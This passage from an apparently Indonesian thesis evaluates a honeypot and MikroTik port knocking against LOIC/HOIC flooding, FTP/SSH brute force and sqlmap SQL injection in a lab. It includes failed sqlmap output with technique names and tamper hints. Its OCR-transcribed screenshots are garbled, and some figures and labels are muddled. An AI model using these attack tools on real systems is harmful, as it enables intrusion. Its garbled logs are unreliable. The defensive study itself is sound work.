B2 BN ¥R (A ara@ RN

= |§ ksensor - localhost - M... » | p Start Duration Pro.. Sens.. Name Visitor Description
5@ 10 @16 23/07/20209:35:15.122 4954 TCP 554 TCPSynScan  417999.129 Syn Scan With Client Reset. nmap..
gf;lf';lm"”‘ 815 23/07/20209:35:15.156 0000 TCP 110 POP3 417999.129 Syn Scan With Client Reset. nmap..
A 13 Daytime -R.. Au 23/07/20209:35:15.178 0000 TCP 113 ident 417999429 Syn Scan With Client Reset. nmap..
A 17 Quoteof the.. Au  BUNNIELME o 1P B Tehet 17999129 Syn Scan With Client Reset. nmap.
4 19 chargen -Re. 8 BUT/RNIISEM g ep 8 15 41799129 Syn Scan With Client Reset. nmap..

21 FIP -Recent.. 7 23/07/20209:35:15.142 i Multi-port Scan

A 22 SSH - Recen... A 10 13/07/20209:35:15.244 0000 TCP 111 sunrpe 417993129 Syn Scan With Client Reset. nmap.,
A 23 Telnet -Rec. ~ |#9 23/07/20209:35:15.142 0000 TCP 110 Multi-port Sca.. 417999129 Multi-port Scan Warning
m ’ Bs 23/07/2020 9:35:15.142 0000 UDP 68 DHCP Client 41,7999.254 Broadcast Packet
ﬁ L} 23/07/2020 9:35:15.156 0000 UDP 138 NBT Datagram... ktech-PC
- | @6 23/07/20209:35:15.151 0000 UDP 10001 UDP Packet 417999154 Broadcast Packet
ey serisor - SS 2/07/2020 9:35:15.142 0000 UDP 133 NBT Datagram.. ASH-LIB-RELEASEL
;:::::""‘ ff:ff WS @ 23/07/20M93515462 0000 UDP 10001 UDPPacket 417099154 Broadcast Packet
Runningsince  BJ07/00755 Q} 23/07/20209:35:15.176 0000 UDP 10001 UDP Packet 417999154 Broadcast Packet
Runving ot SN 2 23/07/2020 9:35:15.142 0000 UDP 67 DHCP
iy B 2/07/2020 9:35:15.156 0000 UDP 138 NBT Datagram... ktech-PC oy

Scenario last uo.., 12/31/2015 501 ™
< ) .

User Rights: Basic User [5] Server: Attack Visitors: 7 Events: 51/51

Gambar 4. 424 Honeypot deteksi serangan brute force

Dari hasil ddos brute force attack dan terdeteksi pada honeypot yaitu
multy port scan dari log aktivitas yang masuk pada jaringan, walaupun
secara langsung serangan ini tidak mengganggu sistem jaringan dan juga
gagal dalam eksploit microtik karena sudah terproteksi oleh port knocking
namun tetap saja semua aktifitas jaringan akan terekam di honeypot sebagai
keamanan server jaringan, berikut tabel 4.10 Analisis serangan brute force
setelah terpasang honeypot dan port knocking.

Tabel 4.10 Analisis hasil serangan brute force setelah terpasang honeypot dan port

knocking
Pengujian Target Status keamanan Hasil serangan
gul serangan Honeypot | Port Knocking g
Gagal
FTP brute Honeypot Router tldak_ menampilkan
mendeteksi memproduksi username dan
.. force attack
Uji 1 serangan log password router
microtik
SSH brute Honeypot Router tidak Gagal
force attack | mendeteksi memproduksi menampilkan
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serangan log username dan
password router
microtik
Gagal
ETP brute Honeypot Router tldak_ menampilkan
mendeteksi memproduksi username dan
force attack
serangan log password router
. microtik
Uiz Gagal
SSH brute Honeypot_ Router tldak_ menampilkan
mendeteksi memproduksi username dan
force attack
serangan log password router
microtik
Gagal
ETP brute Honeypot_ Router tldak_ menampilkan
mendeteksi memproduksi username dan
force attack
serangan log password router
. microtik
Ui Gagal
SSH brute Honeypot_ Router tldak_ menampilkan
mendeteksi memproduksi username dan
force attack
serangan log password router
microtik
Gagal
ETP brute Honeypot_ Router tldak_ menampilkan
mendeteksi memproduksi username dan
force attack
serangan log password router
. microtik
Ujr4 Gagal
SSH brute Honeypot_ Router tldak_ menampilkan
mendeteksi memproduksi username dan
force attack
serangan log password router
microtik
Gagal
ETP brute Honeypot_ Router tldak_ menampilkan
mendeteksi memproduksi username dan
force attack
serangan log password router
.. microtik
uirs Gagal
SSH brute Honeypot_ Router tldak_ menampilkan
mendeteksi memproduksi username dan
force attack
serangan log password router

microtik
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Hasil analisis dari pengujian serangan ddos brute force attack

penyerang tidak dapat menembus port FTP dan SSH dalam melakukan

exploitasi password dan username pada microtik dikarenakan port tersebut

sudah tertutup dan sudah dikonfigurasi dengan metode port knocking dan

aktivitas log serangan pun terdekteksi pada honeypot karena adanya

aktivitas pada jaringan.

4.1.3.3 Mendeteksi Serangan ddos attack SQL injection

Pada serangan SQL injection user hendak masuk ke halaman

admin dengan cara melihat database, tabel dan coloumn agar bisa melihat

struktur database untuk bisa mendapatkan username dan password yang

digunakan admin sebagai pengguna yang berperan pernuh terhadap aplikasi

web tersebut namun pada penelitian percobaan serangan ini gagal dilakukan

karena server pada jaringan sudah terproteksi dengan baik dengan port

knocking dan honeypot, seperti pada gambar 4.43 Serangan SQL Injection.

r HAVING ?l?use CIN)’

testing ’Oracle AND error-based - WHERE or HAVING clause (XMLT'

pe)'
E testing 'MySQL »>= 5.0 error-based - Parameter replace (FLOOR)’
testing ’Generic_inline queries’

testing ’'PostgreSQL > 8.1 stacked queries (comment)’

testing ’Microsoft SQL Server/Sybase stacked queries (comment)

testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - ¢

testing 'MySQL >= 5.8. 12 AND tlme—based blind (query SLEEP}’
testing 'PostgreSQL > AND time-based blind’
testing 'Microsoft SQL Server/SybasS time-based blind (IF)’

L testin Oracle AND time-based bl
it is recommended to per?or
oEvgr](potent1al) technique found. Do you want to reduce the number of requests

] testing ’Generic UNION query (NULL) - 1 to 12 columns’

] [CRITICALT all tested parameters do not appear to be injectable. Try
to increase values for ’--level’/’--risk’ options if you wish to perform more te
sts. If you suspect that there is some kind of protection mechanism involved (e.
. WAF) maybe you could try to use option '--tamper’ (e.g. ’--tamper=spaceZcomme,
nt’) ands/or switch '--random-agent’

] HTTP error codes detected during run:
4@3 (Forbidden) - 36 times, 484 (Not Found) - 37 times

[*¥] ending @ 14:46:11 /2820-08-27/

M ) e FemeQ Foeeee

[[4]

C:\Python27\SQLMap>

Gambar 4.43 Serangan SQL Injection

m only basic UNION tests if there is not at least onell
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Setelah serangan SQL injection dilakukan dan hasilnya tidak berhasil
dapat juga dilihat pada lalulintas aktivitas pada keamanan jaringan server
honeypot yang mengidentifikasi adanya user dari luar yang hendak
mengeksploitasi pada aplikasi computer based tes berbasis web yang
dijadikan sebagai target sasaran serangan, seperti pada gambar 4.44

Honeypot mendeteksi ddos SQL injection attack.

& KFSensor Professional - Evaluation Trial - [w] X

File View Scenario Signatures Settings Help

R QAN EFA@Iarz@ MR D

-4 kfsensor - localhost - M. A | p Start Duration Pro.. Sems.. Name Visitor Description A
B Tcp w26 22/07/2020 10:52:12.132 530 TCP 4444 Blaster, Trojan  DESKTOP-E1TPISP Idle time out
3 2 ;:::..T:p:z; Jas 22/07/2020 10:52:10.141 3313 TCP 1028 MSCIS DESKTOP-E1TPISP
A TEko Racet D24 w7020 105212132 652 TCP 23 Telnet DESKTOP-E1TRISP
A 9 Discard - Rec. 83 22/07/2020 10:52:10.122 12445 TCP 110 POP3 DESKTOP-E1TPISP
A 13 Daytime -R.. Jaz 2/07/2020 10:52:10.181 12152 TCP 1433 SQL Server DESKTOP-E1TPISP
A 17 Quote of the .. 8 22/07/2020 10:52:12.132 5989 TCP 43 USHTTPS DESKTOP-E1TPISP
A 19 chargen - Re. Q20 2/07/200010:5210.122 0713 TCP 3306 MySQLService  DESKTOP-ETTPISP
8 21 FIP -Recent.. 820 22/07/2020 10:52:10.141 4081 TCP 1 portone DESKTOP-E1TPISP
Q) 22 SSH - Recen.. 528 23/07/2020 10:52:12.262 4189 TCP 4562 eDonkey2000, .. DESKTOP-E1TPISP
A 23 Telnet - Rec... 27 22/07/2020 10:52:10.141 4007 TCP M sunmpe DESKTOP-E1TPISP
8 25 SMTP -Rece.. | ) 226 23/07/202010:552:12.262 4017 TCP 113 ident DESKTOP-E1TPISP
A 42 WINS -Rece ¥ | ) 225 2/07/2020 10:52:12.132 4097 TCP 9 Discard DESKTOP-E1TPISP
¢ > J24 22/07/2020 10:52:10.141 4431 TCP 53 DNS DESKTOP-E1TPISP
Name Value A
Sensor kfsensor
Last status 23/07/2020 10:52
Status Active
Running since 23/07/202010:52
Running for 3 minutes and
Machine Name  DESKTOP-EITF Y v
< > < >
User Rights: Basic User [5] Server Attack  Vistors: 13 Events: 236/236

Gambar 4. 44 Honeypot mendeteksi Ddos SQL injection attack

Dari hasil yang terdeteksi oleh honeypot ada lalu lintas user yang
hendak masuk pada jaringan ternyata penyerang akan melakukan SQL
Injection pada SQL server sehingga terdeteksi pada honeypot server, berikut
tabel 4.11 Analisis hasil serangan SQL injection setalah terpasang honeypot

dan port knocking.
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Tabel 4.11 Analisis hasil serangan SQL injection setalah terpasang honeypot dan
port knocking

i - Hasil SQL Injection
NO Jenis eksploitasi Berhasil Gagal Keterangan
1 Database i N Tidak menampilkan
database
9 Table i N Tidak menampilkan
table
3 Column i N Tidak menampilkan
column
Tidak menampilkan
4 Entries - V username dan
password

Dari hasil analisis serangan pada tabel 4.11 diatas serangan SQL Injection
tidak berhasil mengexploitasi database, table dan query pada aplikasi web dan
dilakukan pengujian sebanyak 5 kali dengan hasil yang sama yaitu gagal
menampilkan username dan password yang digunakan admin pada aplikasi web
CBT, dikarenakan konfigurasi pada pengaturan port knocking mampu membatasi
user-user asing dan memblok user berbahaya yang akan masuk kedalam sistem
jaringan melalui port tertentu dibandingkan jika komputer server hanya
menggunakan sistem firewall biasa.

Sistem yang dibangun dengan menggunakan metode port knocking lebih
aman karena disertakan juga virtualhost sebagai port bayangan agar admin bisa
mengakses database tanpa melalui port 80 sehingga penyerang tidak akan
mengetahui port mana yang terbuka dan semua serangan yang terdeteksi di sever
honeypot langsung dilakukan pemblokiran pada microtik melalui metode port
knocking, sehingga komunikasi jaringan pada komputer server dan client menjadi
aman dari serangan ddos attack, berikut tabel 4.12 Hasil recovery deteksi

serangan ddos attack.
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Tabel 4.12 Hasil recovery deteksi serangan ddos attack

Jenis Deteksi serangan
seranaan Honevoot Port Protocol Keterangan
g yp Knocking
Ddos attack TCP Paket request
request Desudesudesu-A Loic timeout and off
. port 21 .
flooding connection
Ddos attack TCP
traffick 192.168.10.3 Hoic Paket byte data
. port 21
flooding
TCP Eksploitasi
s bt | matyportsan || KSR | ponpreay | Seman
g PortSSH 22 |  Passwo!
microtik
Ddos attack . Menginjeksi
SQL SQL server | Tldak_aQa TCP struktur
T og aktivitas
injection database

Didapatkan hasil deteksi sistem kemanan jaringan honeypot dan port
knocking dari serangan ddos attack request flooding dengan nama desudesudesu-
A menggunakan software loic pada protocol TCP dan port FTP 21 dengan jenis
serangan berupa request timeout and off connection, sedangkan pada serangan
ddos attack traffick flooding ditemukan alamat ip penyerang yaitu 192.168.10.3
dengan menggunakan software hoic pada protocol TCP dan port FTP 21 jenis
serangan berupa paket byte data. Pada serangan ddos brute force attack terdeteksi
serangan oleh honeypot dengan nama multy port scan sedangkan pada port
knocking tidak ada log aktivitas karena exploitasi awal microtik gagal dilakukan
pada protocol TCP Port FTP 21 dan port SSH 22, selanjutnya untuk serangan
ddos attack SQL injection terdeteksi oleh server honeypot berupa name SQL
server yang mencoba menginjeksi struktur database MSQL dan pada port
knocking tidak ada log aktivitas pada server microtik sehingga serangan tersebut

gagal dilakukan untuk menembus port target. Berikut hasil analisis dari semua
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pengujian serangan ddos attack pada tabel 4.13 analisis hasil semua serangan ddos
attack setelah terpasang honeypot dan port knocking pada server jaringan.

Tabel 4.13 Analisis hasil serangan ddos attack setelah terpasang honeypot dan
port knocking pada server jaringan

. Proses runing
NO Jenis serangan Berhasil | Gagal Keterangan
Ddos Attack Requesj[ pgket gagal masuk ke
1 . - \ server jaringan namun masuk
Request Flooding
ke server honeypot
Ddos Attack Traffic Traffick pake_t d_ata gagal masuk
2 : - \ ke server jaringan namun
Flooding
masuk ke server honeypot
3 Ddos Brute Force i N Gagal menampilkan username
Attack dan password router microtik
4 Ddos Attack SQL i N Gagal menampilkan password
Injection dan username admin

Dalam implementasi keamanan server dengan menggunakan metode port
knocking dan honeypot, port knocking dapat menghentikan memblok serangan
yang masuk pada jaringan dengan menggunakan microtik, sedangkan honeypot
sebagai pengalihan agar intruder atau penyusup masuk pada server tiruan, dengan
honeypot kita bisa melihat log/aktivitas yang dikerjakan penyerang terhadap
server jaringan. Dapat dilihat dalam penelitian ini bahwa honeypot dan port
knocking mampu mengamankan serangan pada server jaringan dari ddos attack
request flooding, ddos attack traffick flooding, ddos brute force attack dan ddos

attack SQL injection khususnya pada sistem operasi windows.
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4.2 Pembahasan

Berdasarkan hasil pengujian serangan ddos attack request flooding, ddos
atack traffick flooding, ddos brute force attack dan ddos attack SQL injection
dapat dibandingkan untuk dianalisis sebelum dan sesudah digunakannya sistem
keamanan jaringan honeypot dan port knocking terhadap kemanan server jaringan.
Keseluruhan pembahasan terhadap pengujian mendeteksi serangan ddos atack
dengan honeypot dan port knocking dapat dilihat pada tabel 4.14.

Tabel 4.14 Perbadingan hasil deteksi serangan ddos attack dengan honeypot dan
port knocking

Konfigurasi honeypot Hasil pengujian

Pengujian dan port knocking
serangan Sebelum | Sesudah Honeypot Port
knocking
Ddos Attack Berhasil Gagal Terdeteksi Terdeteksi
Request Flooding
Ddos Attack Berhasil Gagal Terdeteksi Terdeteksi

Traffic Flooding

Ddos Brute Force

Attack Berhasil Gagal Terdeteksi -
Ddos Atta_ck SQL Berhasil Gagal Terdeteksi _
Injection

Tabel 4.14 menunjukan hasil dari pengujian serangan sebelum konfigurasi
honeypot dan port knocking dilakukan 100% berhasil. Pada serangan ddos attack
request flooding request berupa timeout yang masuk pada server jaringan saat
pengujian 5 kali serangan terjadi sebanyak 2987428 seconds, 2735891 seconds,
2583947 seconds, 3310978 seconds dan 2872984 seconds sedangkan saat
serangan ddos attack traffick flooding berhasil masuk berupa byte data sebanyak
7.117052e+8 kb, 5.363787e+8 kb, 7.023877e+7 kb, 2.116352e+9 kb dan

1.080268e+9 kb, pada hasil tersebut server jaringan pun menjadi lambat dan
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lumpuh Kinerja jaringan pada client-server terganggu, komputer serverpun
performance kinerjanya meningkat yang sebelumnya rata-rata performance pada
CPU usage 5%-12%, 5%-23%, 5%-16%, 5%-21%, 5%-18% dan performance
rata-rata pada jaringan masih konsisten 1%-5% pada 5 kali pengujian serangan
ddos attack, setelah adanya serangan ddos masuk performance pada CPU usage
meningkat mencapai 71%-85%, 75%-90%, 70%-89%, 74%-96%, 70%-92% dan
performance jaringan mencapai 20%-25%, 20%-30%, 20%-25%, 25%-45%,
25%-35%.

Setelah proses konfigurasi honeypot dan port knocking diterapkan pada
server jaringan terdapat hasil dari serangan ddos attack request flooding mencapai
1572283 seconds, 1094759 seconds, 1948750 seconds, 1749371 seconds,
1430156 seconds dan pengujian serangan ddos attack traffick flooding
2.910889%e+6 kb, 2.063770e+7 kb, 3.055146e+7 kb, 2.780476e+7 kb,
2.509194e+7 kb namun paket serangan ini telah dialihkan ke server honeypot dan
telah dilakukan tindakan pemblokiran user pada port knocking sehingga
performance kinerja pada CPU usage menjadi stabil dari 5 kali proses pengujian
hanya mencapai 5%-19%, 5%-22%, 5%-25%, 5%-24% dan 5%-17% sedangkan
percormance pada jaringan rata-rata 1%-5%, 1%-7%, 1%-5%, 1%-8%, dan 1%-
5% yang artinya dalam keadaan stabil karena tidak banyak melayani user dan
koneksi dari jaringan client-server tidak terganggu, sehingga serangan Ddos
Attack Request Flooding dan Ddos Attack Traffic Flooding dinyatakan tidak

berhasil mengganggu server jaringan.
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Pada serangan ddos brute force attack sebelum port FTP dan SSH pada
microtik dialihkan dengan metode port knocking, exploit pada microtik berhasil
mengidentifikasi username dan password dengan benar. Namun setelah port pada
microtik dikonfigurasi pada port kncoking dengan syarat login harus melewati
port-port yang sudah ditentukan dengan cara melakukan 4 kali ketukan atau ping
pada saat hendak login, serangan brute force atack pun gagal mengidentifikasi
username dan password dengan benar.

Pengujian pada serangan ddos attack SQL Injection sebelum honeypot dan
port knocking terpasang berhasil menginjeksi struktur tabel pada database
sehingga penyerang berhasil mendapatkan username dan password untuk dapat
login kedalam aplikasi web CBT dengan menggunakan user admin. Namun
setelah port diamankan dengan menggunakan konfigurasi port knocking serangan
ini pun tidak berhasil mengexploitasi struktur database pada aplikasi web
tersebut.

Dari tabel 4.14 didapatkan presentasi hasil deteksi dari masing-masing
serangan dan hasil deteksi dari honeypot dan port knocking, dengan menggunakan
rumus:

Ph = (Jt/Jp)x100%
Keterangan:

Ph = Presentasi hasil
Jt = Jumlah terdeteksi

Jp = Jumlah pengujian
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Dengan begitu didapatkan hasil presentasi deteksi dari honeypot dan port
knocking, yaitu pada honeypot 100% mendeteksi adanya serangan pada 4 uji coba
serangan ddos attack dan masing-masing serangan terdeteksi pada server
honeypot, sedangkan pada port knocking 50% dari hasil pengujian 4 serangan
ddos attack, mendeteksi 2 serangan pada log aktivitas microtik dan 2 serangan
lagi tidak terdeteksi karena pada percobaan awal sudah gagal dilakukan, namun
pada dasarnya sistem kemanan jaringan pada honeypot dan port knocking

tersebutlah yang menggagalkan semua serangan ddos attack pada server jaringan.
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BAB V
PENUTUP

Pada bagian ini akan dijelaskan kesimpulan dari hasil penelitian yang
sudah dilakukan berdasarkan tujuan dan perumusan masalah penelitian yaitu
bagaimana analisis dari implementasi honeypot dan prort knocking dalam
mendeteksi serangan distributed denial of servis attack (ddos attack) pada server

jaringan.

5.1 Kesimpulan

Dari hasil penelitian yang sudah dilakukan dapat disimpulkan bahwa peran
honeypot dan port knocking dalam keamanan server jaringan telah teruji dan
bekerja dengan baik sehingga sangat penting setiap sistem pada server jaringan
untuk menghindari adanya serangan dari orang yang tidak bertanggung jawab
yang hendak mengeksploitasi data, merusak jaringan dan gangguan lainnya yang
dapat merugikan pemilik jaringan untuk menggunakan sistem keamanan ini selain
konfigurasi dalam penggunaan softwarenya mudah juga metode ini sangat ampuh
untuk mencegah bahkan menggagalkan serangan dari segala jenis distributed
denial of servis attack (ddos attack) khususnya pada sistem operasi windows.
Pada pengujian serangan honeypot mendeteksi 100% dari semua serangan yang
dilakukan sedangkan port knocking mendeteksi 50% serangan pada log aktivitas
server microtik, namun dalam menggagalkan serangan honeypot dan port
knocking 100% menggagalkan semua serangan ddos attack yang dilakukan pada

pengujian penelitian ini.
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Berikut hasil kesimpulan yang telah didapatkan selama proses pengujian
penelitian implementasi honeypot dan port knocking pada keamanan server
jaringan dalam mendeteksi serangan dari beberapa distributed denial of servis
attack (ddos attack) pada server jaringan;

1. Pengujian serangan pada server jaringan localhost ujian jamin offline dari
serangan ddos attack request flooding dan ddos attack traffick flooding
berhasil terdeteksi oleh honeypot berupa paket request timeout and off
connection dan paket berupa byte data, serangan tersebut telah dialihkan
dan masuk pada server honeypot sehingga tidak mengganggu server utama
jaringan dan serangan berhasil diblokir menggunakan metode port
knocking. Dapat dilihat dari 5 kali proses pengujian performance CPU
usage history sebelum serangan rata-rata mencapai 5%-18% performance
pada jaringan 1%-5%, setelah adanya serangan ddos attack performance
CPU usage history kinerjanya meningkat rata-rata mencapai 72%-90%
pada jaringan 22%-32% dan setelah terpasang sistem keamanan jaringan
honeypot dan port knocking performance CPU usage history kembali
stabil rata-rata mencapai 5%-21% sedangkan kinerja performnace pada
jaringan 1%-6%.

2. Pengujian pada serangan ddos brute force attack yaitu mencoba untuk
mengexploitasi microtik server untuk mendapatkan username dan
password gagal dilakukan, serangan ini tidak bisa masuk pada port yang
sudah dikonfigurasi dengan metode port knocking sehingga proses

eksploitasi tidak berhasil dan honeypot pun mendeteksi adanya log
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aktivitas pada jaringan, sehingga honeypot dan port knocking berhasil
mengamankan server microtik pada jaringan.

3. Pengujian serangan ddos attack SQL injection dimana target serangan
yaitu aplikasi web computer based tes (CBT) yang dapat diakses dengan
jaringan localhost dan dalam teknik serangannya mencoba untuk
mendapatkan usename dan password agar bisa masuk sebagai admin
dengan cara menginjeksi data-data yang terdapat pada struktur database,
table, column dan entry data. Namun gagal dilakukan karena virtualhost
pada port yang menjadi target serangan telah dialihkan dengan port

knocking dan serangan ini pun dapat terdeteksi pada server honeypot.

5.2 Saran
Berdasarkan hasil dari kesimpulan diatas saran yang dapat diberikan
kepada peneliti seanjutnya adalah;

1. Parameter dalam pengujian penelitian gunakan lebih dari satu metode,
lakukan pengujian serangan jangan hanya pada server jaringan namun
pada pengujian serangan target sasaranya yaitu pada user client tertentu
misalnya model serangan client to client .

2. Dalam melakukan pengujian serangan dengan menggunakan metode ddos
attack ataukah menggunakan teknik penyusupan atau serangan lainya
sebaiknya target pengujian dalam serangan lebih banyak lagi baik secara

offline maupun online agar dapat menjadi referensi dalam penelitian
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lanjutan atau lakukan pengujian serangan pada lebih dari satu server
jaringan.

. Gunakan metode dalam keamanan jaringan lebih banyak lagi seperti
honeypot, port knocking, Snort IDS dan yang lain sebagainya namun tetap
bisa terkonfigurasi pada satu server jaringan agar lebih baik lagi dalam
mengamankan sever pada jaringan.

. Dalam pengujian penelitian selanjutnya baiknya menggunakan lebih dari
satu sistem operasi seperti windows, linux atau mecintosh untuk melakukan
serangan ataupun untuk keamanan server jaringan, agar dapat dianalisis
model proses serangannya mana yang lebih baik dan model dari sistem
keamanan jaringanya mana Yyang lebih baik, jika dikolaborasikan

menggunakan lebih dari satu sistem operasi.
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